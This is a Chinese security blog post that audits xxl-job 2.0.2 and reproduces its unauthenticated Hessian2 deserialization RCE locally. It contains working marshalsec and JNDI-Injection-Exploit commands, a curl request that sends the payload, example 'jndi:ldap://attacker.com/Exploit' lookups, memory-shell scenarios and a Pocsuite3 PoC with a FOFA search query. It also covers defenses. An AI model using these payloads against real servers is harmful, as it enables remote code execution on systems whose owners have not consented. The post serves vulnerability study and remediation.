xxl-job代码审计


一、xxl-job简介

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。

  • 什么是分布式任务调度

分布式任务调度是指在分布式系统环境中,对任务进行统一管理、分配和执行的机制,旨在解决单机任务调度存在的性能瓶颈、可靠性不足等问题。其核心目标是通过集群化部署和任务分片策略,实现任务的高可用性弹性扩展负载均衡,同时避免任务重复执行。

中文文档:https://www.xuxueli.com/xxl-job/

二、本地部署xxl-job

2.1 源代码

源码仓库地址 Release Download
https://github.com/xuxueli/xxl-job Download
http://gitee.com/xuxueli0323/xxl-job Download
https://gitcode.com/xuxueli0323/xxl-job Download

将项目克隆到本地后用IDEA打开项目。

这里以xxl-job 2.0.2为例:

  • xxl-job-admin
    admin模块是xxl-job的调度中心,主要负责统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。
  • xxl-job-core
    core模块存放的是xxl-job中的执行器,如果有项目需要接入xxl-job,那么就需要引入xxl-job-core依赖
  • xxl-job-executor-samples
    这里面存放了demo实例可以参考部署。

2.2 初始化数据库

  • sql文件位置:/doc/db

上面两行提示需要配置数据库连接。

我本机上已经安装了mysql,如果没有的话安装一下。

点击Configure data source

点击测试连接,成功连接。

连接到数据库之后,执行sql脚本,生成数据库表、字段等数据。

2.3 修改配置文件

  • 修改配置文件:

修改数据库连接,主要修改密码。

### xxl-job, datasource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl-job?Unicode=true&characterEncoding=UTF-8
spring.datasource.username=root
spring.datasource.password=root_pwd
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

修改端口号以及访问地址:

server.port=8080
server.context-path=/xxl-job-admin

一般不用修改。

2.4 启动项目

运行:XxlJobAdminApplication

报错解决:

  • java.io.FileNotFoundException: /data/applogs/xxl-job/xxl-job-admin.log (No such file or directory)

解决的办法就是在xxljob的配置目录中的logback.xml文件:

  • java.lang.IllegalStateException: Cannot load configuration class: com.xxl.job.admin.XxlJobAdminApplication

这时由于jdk版本过高。在VM options处添加参数:

--add-opens java.base/java.lang=ALL-UNNAMED 

参考:https://www.cnblogs.com/linxuannihao/p/16193344.html

解决bug后重新启动。

2.5 访问测试

访问登录链接测试:

http://127.0.0.1:8080/xxl-job-admin/toLogin

访问测试:

默认账号密码admin、123456

三、如何用idea查看jar包源代码

四、xxl-job反序列化漏洞分析复现

4.1 启动XxlJobExecutorApplication

除了启动XxlJobAdminApplication之外,还需要启动XxlJobExecutorApplication。

路径如图所示

启动过程中如果报错,解决方法同启动XxlJobAdminApplication的报错解决方法。

访问http://127.0.0.1:8080/xxl-job-admin

4.2 调试分析

TIPs:cmd+option+B跳转到抽象方法实现。

  • 在JobApiController处设置断点,调试启动应用:
  • 抓取访问xxl-job-admin/api的请求:
  • 转化为POST数据包

添加POST数据id=333

  • 发送请求开始调试分析

追踪数据流向:

点击单步进入,选择getSerializer()函数

可以看到最终调用的是HessianSerializer。

4.3 什么是Hessian

总结:Hessian是一种轻量级二进制Web服务协议,旨在简化跨语言服务调用,无需复杂框架或额外协议(如WSDL)。其核心特点包括:

  1. 二进制高效传输:原生支持二进制数据,无需附件扩展。
  2. 跨语言支持:提供Java/Objective-C等多语言实现(如Hessian4J、HessianKit)
  3. 零配置开发:服务端可通过POJO或继承HessianServlet快速部署,客户端通过接口代理直接调用。
  4. 开源生态:基于Apache协议开源,整合Dinamica/RIFE/Cayenne等框架,支持数据库对象传输。
  5. 文档友好:用JavaDoc替代传统IDL,保持接口简洁性。

适用于需要高效通信、快速迭代的分布式系统场景,尤其适合移动端(如iPhone)与后端服务交互。

https://cloud.tencent.com/developer/article/2196910 【Hessian数据结构】

4.4 api未授权访问漏洞分析

未授权访问:

未授权访问是因为添加了@PermessionLimit(limit=false)的注释。

4.5 什么是JNDI和JNDI注入

4.5.1 JDNI简介

JNDI(Java Naming and Directory Interface)是Java中一种**资源导航工具,类似于现实生活中的“电话簿”或“地图导航”,它的核心作用是让程序通过名字快速找到所需资源**,而无需关心资源的具体位置或实现细节。

说白了就是把资源取个名字,再根据名字来找资源。

  • 基础概念:命名服务

想象你有一个电话号码簿,通过名字就能查到对应的号码,而不需要记住复杂的数字。在JNDI中:

  • 名字(Name):相当于电话号码簿中的“张三”,比如一个数据库连接的名字可以是

    jdbc/mydatabase
  • 资源(Resource):相当于电话号码本身,比如数据库连接、文件路径、远程服务等。

  • 操作方式:程序只需通过lookup("名字")方法查找资源,无需硬编码具体配置。

// 类似打开电话簿
Context context = new InitialContext(); 
// 查找名为“jdbc/mydatabase”的数据库连接
DataSource dataSource = (DataSource) context.lookup("jdbc/mydatabase");
  • 扩展功能:目录服务

如果“电话簿”不仅能查号码,还能按属性(如职业、地址)筛选,这就是目录服务。例如:

  • 层级结构:类似学校按“年级→班级→姓名”查找学生。
  • 属性查询:可通过部门、职位等属性筛选员工信息。

用途:适用于需要复杂查询的场景,如企业内部的用户管理系统。

  • 实际应用场景
  • 数据库连接管理
    开发时无需在代码中写死数据库IP、密码,只需在服务器(如Tomcat)配置JNDI数据源,程序通过名字调用。修改数据库时只需调整配置,无需重新编译代码。
  • 分布式系统资源调用
    例如远程服务(RMI)、消息队列(JMS)等,可通过JNDI统一管理。

4.5.2 什么是JNDI注入攻击

JNDI注入攻击是一种利用Java命名与目录接口(JNDI)的动态加载特性,通过构造恶意请求触发远程代码执行(RCE)的安全漏洞。其核心原理是攻击者控制lookup()方法的参数,诱导应用程序加载并执行远程恶意代码。以下是具体解析:

1)攻击原理

  • 动态加载机制

JNDI允许通过协议(如RMI、LDAP)从远程服务器获取对象引用(Reference)。当应用程序调用lookup()方法时,若参数可控且未经验证,JNDI会尝试解析该地址并加载远程类文件。

  • 恶意引用触发

攻击者搭建恶意服务(如RMI或LDAP服务器),返回包含远程类加载地址的Reference对象。目标应用在解析Reference时,会自动从指定URL下载并实例化恶意类,触发静态代码块或构造函数中的攻击逻辑。

  • 利用条件

    • 应用程序存在可控的lookup()参数(如Log4j日志输入、Fastjson反序列化点)

    • 目标JDK版本较低(如JDK 8u191以下允许远程加载类)

2)攻击流程

  • 1)植入恶意URI

攻击者通过输入点(如HTTP请求头、日志内容)注入类似下面的URL

jndi:ldap://attacker.com/Exploit
  • 2)触发JNDI查询

应用程序调用lookup(uri),向攻击者控制的服务器发起请求。

  • 3)返回恶意Reference

恶意服务器返回一个Reference对象,指向托管在HTTP服务器上的.class文件(如http://attacker.com/Exploit.class)。

  • 4)动态加载执行

JVM下载并实例化Exploit.class,触发其中的恶意代码(如反弹Shell、文件操作)。

3)常见攻击类型

  • JNDI + RMI

通过RMI协议返回恶意引用,适用于JDK低版本。

限制:JDK 6u132/7u122/8u113后默认禁用远程类加载(com.sun.jndi.rmi.object.trustURLCodebase=false)。

  • JNDI + LDAP

LDAP服务响应中可嵌入javaCodebase属性指向恶意类,绕过部分限制。

限制:JDK 11.0.1/8u191后默认禁用(com.sun.jndi.ldap.object.trustURLCodebase=false)。

  • 其他协议

DNS、CORBA等协议也可用于间接攻击,但利用难度较高。

RMI和LDAP协议

RMI协议(Remote Method Invocation)

1. 核心概念
RMI是Java特有的远程方法调用协议,允许不同JVM上的对象通过网络调用彼此的方法,实现分布式计算。其核心组件包括:
RMI Client:通过Naming.lookup()从注册中心获取远程对象代理(Stub),调用方法如本地对象。
RMI Server:实现远程接口,将对象绑定到注册中心(默认端口1099)。
RMI Registry:管理远程对象的注册与查找,类似“电话簿”服务。

2. 通信机制
Stub/Skeleton模型:客户端通过Stub代理发起请求,服务端Skeleton接收并执行方法,结果通过TCP/IP回传。
动态类加载:支持从远程URL加载类(需JDK低版本),存在安全风险(如JNDI注入攻击)。
默认端口:1099(如URI rmi://127.0.0.1:1099/2iv0aa中的端口)。

3. 典型应用场景
企业内部Java系统间的跨进程调用(如分布式计算引擎)。
需要透明调用远程对象的场景,例如EJB底层通信。

LDAP协议(Lightweight Directory Access Protocol)

1. 核心概念
LDAP是轻量级目录访问协议,用于访问树状结构的目录信息服务,常用于身份认证和权限管理。其特点包括:
目录信息树(DIT):数据以条目(Entry)形式存储,每个条目包含属性(如用户邮箱、部门)。
标准化查询操作:支持搜索、绑定、修改等操作,语法类似文件路径(如dc=example,dc=com)。
默认端口:389(示例中ldap://127.0.0.1:1389/2iv0aa使用非标准端口1389,可能为测试环境)。

2. 认证流程
绑定(Bind):客户端使用DN(Distinguished Name)和密码连接服务器。
搜索(Search):根据过滤条件(如(uid=user1))查找目标条目。
权限控制:通过ACL(访问控制列表)限制用户操作范围。

3. 典型应用场景
企业单点登录(SSO)系统集成。
存储静态数据(如员工通讯录、证书信息)。

4)防御策略

升级JDK版本
使用JDK 8u191/11.0.1及以上版本,默认禁用远程类加载。
手动设置安全属性(如System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"))。

输入过滤与白名单
对用户输入中的jndi:、ldap://等协议前缀进行过滤。
使用正则表达式限制lookup()参数格式。

网络隔离与监控
限制应用服务器出站流量,仅允许访问可信服务。
监控异常JNDI请求(如非业务域名、非常用端口)。

组件加固
禁用不必要的JNDI功能(如Log4j2设置log4j2.formatMsgNoLookups=true)。
定期更新易受攻击的第三方库(如Fastjson、Log4j2)。

总结

JNDI注入攻击本质是利用动态加载机制绕过本地安全限制,其威胁程度取决于环境配置和防护措施。通过升级JDK、过滤输入、网络隔离等多层防御,可有效降低风险。开发者需遵循最小权限原则,避免将不可信输入传递给JNDI接口。

4.5.3 JNDI注入利用工具

1)JNDI-Injection-Exploit

2)marshalsec反序列利用工具

marshalsec是一款java反序列利用工具,其可以很方便构造恶意数据,通过这些恶意数据去访问攻击者准备好的恶意执行类来达到远程命令执行或入侵的目的。

  • 自己编译安装:
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

使用的命令:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

4.6 Hessian反序列化漏洞利用

4.6.1 开启JNDI服务(这里在本地测试)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "open -na Calculator"

4.6.2 生成payload

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/g5ecse > test.ser

-cp marshalsec-0.0.3-SNAPSHOT-all.jar:加载Marshalsec工具的主JAR包。

marshalsec.Hessian: 调用Marshalsec的Hessian模块,生成对应协议的Payload。

SpringAbstractBeanFactoryPointcutAdvisor:指定利用链(Gadget),通过Spring框架的特定类触发反序列化漏洞。

ldap://172.20.10.2:1389/dzkfwd:指向攻击者控制的LDAP服务器地址,用于后续加载远程恶意类。

test.ser:将生成的Payload保存到test.ser文件,供后续攻击发送。

报错内容:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/g5ecse > test.ser
java.lang.reflect.InvocationTargetException
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:78)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:567)
	at marshalsec.MarshallerBase.createObject(MarshallerBase.java:331)
	at marshalsec.MarshallerBase.doRun(MarshallerBase.java:165)
	at marshalsec.MarshallerBase.run(MarshallerBase.java:121)
	at marshalsec.Hessian2.main(Hessian2.java:64)
Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make field transient int java.util.HashMap.size accessible: module java.base does not "opens java.util" to unnamed module @13545af8
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:357)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
	at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:177)
	at java.base/java.lang.reflect.Field.setAccessible(Field.java:171)
	at marshalsec.util.Reflections.getField(Reflections.java:17)
	at marshalsec.util.Reflections.setFieldValue(Reflections.java:33)
	at marshalsec.gadgets.JDKUtil.makeMap(JDKUtil.java:248)
	at marshalsec.UtilFactory.makeEqualsTrigger(UtilFactory.java:44)
	at marshalsec.gadgets.SpringUtil.makeBeanFactoryTriggerBFPA(SpringUtil.java:94)
	at marshalsec.gadgets.SpringAbstractBeanFactoryPointcutAdvisor.makeBeanFactoryPointcutAdvisor(SpringAbstractBeanFactoryPointcutAdvisor.java:44)
	... 8 more

DeepSeek分析:

问题分析与解决方案
你遇到的错误是 ​Java高版本模块化系统对反射访问的限制​ 导致的,具体表现为 java.lang.reflect.InaccessibleObjectException,直接原因是JDK 9+默认禁止通过反射访问核心模块(如java.base)的私有字段或方法。以下是详细分析和解决方案:

​1. 错误原因
​模块化系统限制:Java 9+引入了模块化系统(JPMS),默认对核心模块(如java.base)的私有成员实施严格访问控制。你尝试通过反射访问java.util.HashMap.size字段时,因未显式授权导致异常。
​工具链兼容性:marshalsec工具生成的Payload依赖反射操作JDK内部类(如HashMap),但未适配高版本Java的模块化限制。
​2. 解决方案
​方法一:添加JVM参数开放模块权限
在运行命令时,通过 --add-opens 和 --add-exports 参数开放模块权限,允许反射访问核心类:

bash
java \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-exports java.base/jdk.internal.module=ALL-UNNAMED \
-cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/g5ecse > test.ser
参数说明:

--add-opens java.base/java.util=ALL-UNNAMED:允许未命名模块反射访问java.util包。
--add-exports java.base/jdk.internal.module=ALL-UNNAMED:导出jdk.internal.module包(部分Payload依赖此模块)。
​方法二:降级至Java 8
若环境允许,切换到JDK 8(无模块化限制)可彻底规避此问题。但需注意:

JDK 8对某些新特性(如Jigsaw模块化)不兼容,可能影响其他功能。
需确保工具链(如Marshalsec)在JDK 8下运行正常。
​方法三:修改工具源码(进阶)​
若需长期使用高版本Java,可尝试修改marshalsec源码:

​减少对JDK内部类的依赖:替换涉及HashMap.size等私有字段的代码。
​适配模块化系统:在代码中显式声明模块权限(需添加module-info.java)。
​3. 安全与注意事项
​生产环境慎用--add-opens:开放模块权限会降低安全性,仅限测试环境使用。
​依赖库升级:检查是否有新版marshalsec适配高版本Java(部分社区分支可能已修复此问题)。
​监控异常链:若仍报错,需根据堆栈信息进一步开放其他模块(如java.base/java.lang.reflect)。
java \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-exports java.base/jdk.internal.module=ALL-UNNAMED \
-cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/g5ecse > test.ser

成功解决了,DeepSeek N!本质上是jdk版本过高。

4.6.3 发送反序列化数据

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

​ 但是利用失败了:

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api
org.springframework.beans.factory.BeanNotOfRequiredTypeException: Bean named 'ldap://127.0.0.1:1389/g5ecse' is expected to be of type 'org.aopalliance.aop.Advice' but was actually of type 'javax.naming.Reference'
	at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:122)
	at org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor.getAdvice(AbstractBeanFactoryPointcutAdvisor.java:109)
	at org.springframework.aop.support.AbstractPointcutAdvisor.equals(AbstractPointcutAdvisor.java:74)
	at java.base/java.util.HashMap.putVal(HashMap.java:635)
	at java.base/java.util.HashMap.put(HashMap.java:612)

分析可能是jdk版本太高了。

尝试降级,具体的java多版本安装切换,见本站《mac安装多个版本的java环境》一文。

4.7 安装jdk8u181 重新尝试(复现成功✅)

重新安装jdk8u181,配置xxl-job的jre:

重新启动程序:

4.7.1 开启JNDI服务(这里在本地测试)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "open -na Calculator"

4.6.2 生成payload

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/g5ecse > test.ser

4.6.3 发送反序列化数据

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api
-XPOST
作用:指定 HTTP 请求方法为 POST。-X 参数用于覆盖默认的 GET 请求,此处强制使用 POST 方法。

--data-binary @test.ser
作用:发送二进制数据,@test.ser 表示从文件 test.ser 中读取内容作为请求体。

成功弹出计算器,复现成功。✅

4.8 Pocsuite3 漏洞检测POC

基于Pocsuite3编写检测漏洞的PoC:

from pocsuite3.api import Output, POCBase, register_poc, requests
from pocsuite3.lib.core.data import logger

class XXLJobHessianDetect(POCBase):
    vulID = 'huatai-sxk-02'
    version = '1.0'
    author = 'sixiaokai'
    vulDate = '2024-04-01'
    createDate = '2025-02-27'
    updateDate = '2025-02-27'
    references = ['2024HW']
    name = 'XXL-JOB Hessian2反序列化RCE漏洞'
    appPowerLink = 'https://www.xuxueli.com/xxl-job/'
    appName = 'xxl-job'
    appVersion = '<=2.0.2'
    vulType = 'RCE'
    desc = 'XXL-JOB管理端/api接口未校验Hessian2反序列化数据,可触发类型转换异常验证漏洞存在性。'
    Cyberspace = {'fofa': 'app="XXL-JOB"'}  # fofa 语句,鹰图语句等网络空间测绘 必填

    def _verify(self):
        result = {}
        target_url = self.url.rstrip('/') + "/xxl-job-admin/api"
        try:
            # 1. 验证未授权访问(漏洞前提)
            auth_check = requests.get(target_url, verify=False, timeout=10)
            if auth_check.status_code != 200:
                logger.info("目标接口存在鉴权,漏洞可能不存在")
                return self.parse_output(result)

            # 2. 发送Hessian2格式探测请求(无效数据)
            headers = {"Content-Type": "x-application/hessian"}
            invalid_payload = b'\x48\x02\x00'  # 构造无效Hessian2协议头
            response = requests.post(target_url, headers=headers, data=invalid_payload, verify=False, timeout=10)

            # 3. 漏洞特征检测
            if response.status_code == 200:
                # 精准匹配异常堆栈关键词
                error_patterns = [
                    "ClassCastException: class java.lang.String cannot be cast to class com.xxl.rpc",
                    "ServletServerHandler.parseRequest",
                    "XxlRpcRequest"
                ]
                if any(pattern in response.text for pattern in error_patterns):
                    result['VerifyInfo'] = {
                        'URL': target_url,
                        'StatusCode': response.status_code,
                        'ErrorType': 'ClassCastException',
                        'Vulnerable': True
                    }

        except Exception as e:
            logger.error(f"请求异常: {str(e)}")
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('目标未发现漏洞')
        return output

register_poc(XXLJobHessianDetect)
pocsuite -r xxl-job-RCE-poc.py -u http://127.0.0.1:8080

测试效果:

五、XXL-JOB Hessian2反序列化漏洞的利用链剖析

5.1 基础内容

  • 各种反序列化机制

网络通信过程中,我们想传输的内容肯定不止局限于文本或二进制信息,假如我们想要传递给远端一个特定的对象,那么这时就需要用到序列化和反序列化这种技术了。

在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象。参考marshalsec.pdf,我们可以将序列化/反序列化机制分大体分为两类

  • 基于Bean属性访问机制
  • 基于Field机制
  • 基于Bean属性访问机制
  • SnakeYAML
  • jYAML
  • YamlBeans
  • Apache Flex BlazeDS
  • Red5 IO AMF
  • Jackson
  • Castor
  • Java XMLDecoder

它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)setter(xxx)访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。

这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

  • 基于Field机制

基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream

在xxl-job 2.0.2中使用hessian版本是4.0.60:

截屏2025-03-02 13.22.47

5.2 利用工具

marshalsec:生成Hessian2格式的恶意序列化数据,利用SpringAbstractBeanFactoryPointcutAdvisor类作为利用链入口。

JNDI-Injection-Exploit-Plus:启动RMI/LDAP服务,提供恶意类加载路径(rmi://attacker_ip:1099/Exploit

简单理解:marshalsec构造利用链、JNDI-Injection-Exploit-Plus通过托管恶意类执行恶意代码;两者结合实现恶意代码执行。

5.3 利用原理

  • Spring框架依赖

SpringAbstractBeanFactoryPointcutAdvisor是Spring AOP的关键类,其adviceBeanName属性可控,攻击者通过设置该属性为JNDI URL,触发JndiLocatorDelegate.lookup()方法,实现远程类加载。

  • 动态类加载

JNDI服务指向攻击者控制的恶意类(如Exploit.class),服务端反序列化时自动加载并执行该类中的静态代码块或构造函数,完成命令执行。

5.4 利用场景

  • 场景一:不出网环境下的内存马注入

Payload构造:

使用jMG-gui-obf工具生成冰蝎Filter类型的内存马字节码,通过defineClass动态加载到目标JVM。

利用链调整:在反序列化过程中调用ClassLoader.defineClass()加载恶意字节码,注册Filter/Servlet实现持久化控制。

  • 场景二:基于JDBC驱动的二次利用

MySQL JDBC反序列化:

结合com.mysql.jdbc.Driver的connect()方法触发二次反序列化,绕过部分防护措施(需目标环境存在MySQL驱动依赖)。

5.5 利用链原理分析

调试分析(4.7节),获取发送payload二进制数据:

HC0Aorg.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor�adviceBeanNameorderpointcutbeanFactory`ldap://127.0.0.1:1389/eqeenlNC0$org.springframework.aop.TruePointcut�aC06org.springframework.jndi.support.SimpleJndiBeanFactory�resourceRefshareableResourcessingletonObjects
resourceTypesloggerjndiTemplatebTqjava.util.HashSetldap://127.0.0.1:1389/eqeenlHZHZC0'org.apache.commons.logging.impl.NoOpLog�cC0%org.springframework.jndi.JndiTemplate�loggerenvironmentdcNQ�`NNQ�NQ�Z
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName = "ldap://127.0.0.1:1389/eqeenl"
beanFactory = org.springframework.jndi.support.SimpleJndiBeanFactory
jndiTemplate = org.springframework.jndi.JndiTemplate
resourceRef = true
shareableResources = true
singletonObjects = java.util.HashSet
  • DefaultBeanFactoryPointcutAdvisor

角色:Spring AOP的核心类,用于关联切入点(Pointcut)和通知(Advice)。

恶意属性:

​ 1)adviceBeanName:设置为攻击者控制的LDAP URL(ldap://127.0.0.1:1389/eqeenl),触发JNDI注入。

​ 2)beanFactory:指定为SimpleJndiBeanFactory,用于解析JNDI资源。

AOP编程:https://liaoxuefeng.com/books/java/spring/aop/index.html https://blog.csdn.net/Hubuers/article/details/122799311

动态代理:https://liaoxuefeng.com/books/java/reflection/proxy/index.html

截屏2025-03-01 21.03.05

  • SimpleJndiBeanFactory

角色:Spring提供的JNDI资源查找工具类。

恶意配置:

resourceRef:设为true,允许解析JNDI名称。

shareableResources:设为true,共享资源以复用恶意类。

jndiTemplate:使用JndiTemplate执行JNDI操作。

  • JndiTemplate

角色:Spring框架中简化JNDI操作的模板类。

触发动作:解析adviceBeanName中的LDAP URL,向攻击者控制的服务器发起请求。

5.6 利用链执行流程

graph TD
  A[发送恶意Hessian2数据] --> B[服务端反序列化DefaultBeanFactoryPointcutAdvisor]
  B --> C[设置adviceBeanName为LDAP URL]
  C --> D[初始化SimpleJndiBeanFactory]
  D --> E[JndiTemplate解析LDAP URL]
  E --> F[连接攻击者LDAP服务器]
  F --> G[下载并加载恶意类]
  G --> H[执行恶意代码]

详细步骤:

1)反序列化入口

服务端通过Hessian2Input.readObject()反序列化数据,创建DefaultBeanFactoryPointcutAdvisor对象。

2)属性注入

adviceBeanName被设置为ldap://127.0.0.1:1389/eqeenl,触发JNDI查找。

beanFactory指定为SimpleJndiBeanFactory,初始化时调用afterPropertiesSet()方法。

3)JNDI解析

SimpleJndiBeanFactory通过JndiTemplate.lookup()解析LDAP URL,向攻击者控制的LDAP服务器(127.0.0.1:1389)发起请求。

4)恶意类加载

LDAP服务器返回指向恶意类的Reference(如http://attacker.com/Exploit.class),目标服务器通过URLClassLoader加载并实例化该类,触发静态代码块或构造函数中的恶意逻辑。

5)代码执行

恶意类中的代码(如Runtime.getRuntime().exec("calc.exe"))在目标服务器上执行,完成攻击。

  • 通过发送恶意二进制数据然后调试执行,以下是一些关键内容:

5.7 依赖环境与绕过限制

必要依赖:
Spring框架:需包含spring-aop、spring-context等模块。
JNDI支持:目标环境需启用JNDI服务(默认Tomcat/SpringBoot环境支持)。

高版本JDK绕过:
JDK ≤ 8u191:可直接通过JNDI加载远程类。
JDK > 8u191:需结合本地ClassPath中的类(如Tomcat ELProcessor、Groovy链)绕过限制。

5.8 防御与修复建议

升级版本:升级至XXL-JOB ≥2.0.3,官方修复了未授权访问和Hessian2反序列化漏洞。
访问控制:为/api接口配置访问令牌(xxl.job.accessToken)。
协议加固:禁用Hessian2协议,改用JSON等安全序列化方式。
JVM参数:添加-Dcom.sun.jndi.ldap.object.trustURLCodebase=false阻断远程类加载。

六、Hessian反序列化漏洞

6.1 Hessian协议

hessian2是由caucho开发的基于Binary-RPC协议实现的远程通讯库,知名Web容器Resin的也是由caucho开发的。在java中使用hessian2进行序列化和反序列化时,通过native方法或者反射(实际也用了native方法)直接对Field进行赋值操作,与某些调用setter和getter方法反序列化协议不同。

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

一个简单的使用示例:

项目中加入依赖

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

Person.java

import java.io.Serializable;
 
public class Person implements Serializable {
    public String name;
    public int age;
 
    public int getAge() {
        return age;
    }
 
    public String getName() {
        return name;
    }
 
    public void setAge(int age) {
        this.age = age;
    }
 
    public void setName(String name) {
        this.name = name;
    }
}

Hessian_Test.java

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
 
public class Hessian_Test implements Serializable {
 
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
 
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }
 
    public static void main(String[] args) throws IOException {
        Person person = new Person();
        person.setAge(18);
        person.setName("Feng");
 
        byte[] s = serialize(person);
        System.out.println((Person) deserialize(s));
    }
 
}

对比一下Java原生的序列化:

Ser_Test.java

import java.io.*;
 
public class Ser_Test implements Serializable {
 
    public static <T> byte[] serialize(T t) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(t);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
 
    public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        ObjectInputStream ois  =new ObjectInputStream(bai);
        return (T) ois.readObject();
    }
 
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person();
        person.setAge(18);
        person.setName("Feng");
 
        byte[] s=serialize(person);
        System.out.println((Person) deserialize(s));
    }
}

相较于原生的反序列化,Hessian反序列化占用空间更小。

6.2 Hessian反序列化漏洞分析

在使用hessian2进行序列化和反序列化操作时,会自动根据类对象选择序列化器和反序列化器。

Hessian2中的gadget起始点:

  • com.caucho.hessian.io.Hessian2Input#readObject()开始看源代码:
public Object readObject(Class cl) throws IOException{
	if (cl == null || cl == Object.class) return readObject();
    
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
    switch (tag) {
        case 'N':
            {return null;}
        ..... // 省略
        case 'H':
          {
            Deserializer reader = findSerializerFactory().getDeserializer(cl);
            return reader.readMap(this);
          }

        case 'M':
          {
            String type = readType();
            // hessian/3bb3
            if ("".equals(type)) {
              Deserializer reader;
              reader = findSerializerFactory().getDeserializer(cl);
              return reader.readMap(this);
            }
            else {
              Deserializer reader;
              reader = findSerializerFactory().getObjectDeserializer(type, cl);
              return reader.readMap(this);
            }
          }
		..... // 省略
    }
}

这里对比的数字在源代码中以ASCII码的形式存在,H=71、M=81

这里的case中,H是HashMap的序列化标志,M是Map的序列化标志,Hessian2反序列化时,根据该标值,获取相应的反序列化器,即Deserializer,而针对不同的类型,反序列化器还有不同的处理,这里H和M都会获取到MapDeserializer,因此跟进该类的readMap方法。

